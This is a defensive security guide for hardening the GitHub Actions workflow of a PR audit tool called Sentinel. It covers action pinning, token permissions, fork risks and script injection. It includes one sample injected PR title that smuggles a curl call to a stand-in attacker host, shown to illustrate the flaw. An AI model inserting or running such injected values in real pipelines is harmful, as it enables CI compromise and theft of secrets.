Running a third-party GitHub Action in your CI/CD pipeline gives that action the same privileges as your workflow. A compromised action can:
- Steal
GITHUB_TOKEN— Read from disk or git credential helpers. Withpull-requests: writeorcontents: write, an attacker can modify releases, approve PRs, or push code. - Exfiltrate secrets — Read all environment variables and cloud metadata endpoints (IMDS), then POST them to an attacker-controlled server.
- Modify builds — Inject backdoors into compiled artifacts, Docker images, or signed releases.
- Pivot to other repos — Use stolen tokens to compromise additional repositories and services.
tj-actions/changed-files(2025) — Compromised via a maintainer's PAT. All consumers of@v3received malicious code.- Trivy release tags (2024) — Attacker force-pushed malicious commits to 76 of 77 release tags. All users pinning to
@v0.24.0received the payload. - HackerBot/CLAW campaign — Automated injection of malicious code into CI pipelines via compromised npm packages in CI scripts.
The Sentinel PR Audit workflow (sentinel-pr-audit.yml) uses exactly two actions:
| Action | SHA Pinned | Source |
|---|---|---|
actions/checkout@11bd719... |
Yes | GitHub official |
actions/setup-node@cdca736... |
Yes | GitHub official |
Everything else (installing sentinel, fetching the diff, scanning, posting the comment, creating the check run) is done via the gh CLI that GitHub's runner includes natively. No third-party JavaScript actions, no Docker actions, no composite actions that install packages from untrusted registries.
| Common Practice | Why Sentinel Avoids It |
|---|---|
actions/github-script@v7 |
Third-party action that downloads and runs Node code at runtime |
@v1 version tags |
Mutable — can be force-pushed by maintainer or attacker |
pull_request_target |
Runs in privileged context with full secrets access |
| Unpinned composite actions | Any action that runs npm install could pull typosquatted dependencies |
Inline ${{ }} in shell blocks |
Script injection via PR title, branch name, or body |
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2A SHA reference is immutable. A tag like @v4 can be force-pushed. If the SHA becomes untrusted, the build breaks — you notice immediately.
To update a pinned action, change the SHA and verify the new code before committing.
permissions:
contents: read
pull-requests: write
checks: writeNever use permissions: write-all. Grant only the scopes the workflow needs. For PR audit:
contents: read— Checkout the codepull-requests: write— Post the audit commentchecks: write— Create the Check Run
pull_request runs with a read-only GITHUB_TOKEN and no access to repository secrets. pull_request_target runs in the base repository context with full write access — if an attacker opens a PR with malicious code and the workflow checks out their fork, the attacker controls the CI environment.
Sentinel's workflow uses pull_request exclusively. The GITHUB_TOKEN is restricted to what we need: commenting on PRs and creating check runs.
Never use ${{ }} expressions directly in run: blocks:
# DANGEROUS — attacker can set PR title to: a"; curl http://attacker.com; echo "
- run: echo "Title: ${{ github.event.pull_request.title }}"
# SAFE — uses env indirection
- run: echo "Title: $TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}GitHub interpolates ${{ }} before the shell executes, creating injection opportunities. Using env: indirection shells properly escapes the value.
Anyone can fork a public repo and modify its workflows. If you use pull_request_target, a forked PR executes code in your CI context. Always:
- Require approval for first-time contributors (GitHub repo setting)
- Never check out PR code in a
pull_request_targetworkflow - Verify that forked PR workflow runs use
pull_request, notpull_request_target
Wherever possible, replace static secrets with OpenID Connect (OIDC) trusted publishing. OIDC tokens are short-lived, scoped to individual deployments, and don't require shared secrets.
Because Sentinel is a security tool that runs in CI, its own supply chain is critical. If an attacker compromises the Sentinel Action, they can:
- Modify scan rules to hide malicious code in their PRs
- Change the verdict logic to always return
PASS - Suppress evidence in PR comments
- Steal
GITHUB_TOKENand exfiltrate it
- SHA-pinned actions — All upstream actions are pinned by SHA, not tag
- No third-party actions — Only
actions/checkoutandactions/setup-node ghCLI only — No npm packages installed at runtime beyond sentinel itself- Read-only token —
contents: readprevents the workflow from pushing code - Deterministic scanning — Sentinel's SAST rules are local and cannot be modified by the workflow
- Pin Sentinel's action by SHA — Don't use
@v4or@latest. Fork the repo and reference your fork's commit SHA after auditing the code. - Review before updating — Before updating the pinned SHA, review the diff between versions.
- Audit the workflow — Review
.github/workflows/sentinel-pr-audit.ymland.github/actions/sentinel-pr-audit/action.ymlfor any unexpected changes. - Enable Dependabot for Actions — Get notified of updates, but review and test before merging.
- Use CODEOWNERS — Require security team approval for changes to
.github/workflows/and.github/actions/.
| Risk | Sentinel Mitigation |
|---|---|
| Compromised third-party action | Only 2 first-party actions, both SHA-pinned |
| Script injection | PR metadata passed via env: indirection |
| Forked PR exploits | Uses pull_request (read-only token) |
| Mutable version tags | All actions pinned to immutable SHAs |
| Dependency confusion | No npm install in the action itself |
| Token exfiltration | Minimal permissions, persist-credentials: false |
Questions? Open an issue at https://github.com/anomalyco/opencode/issues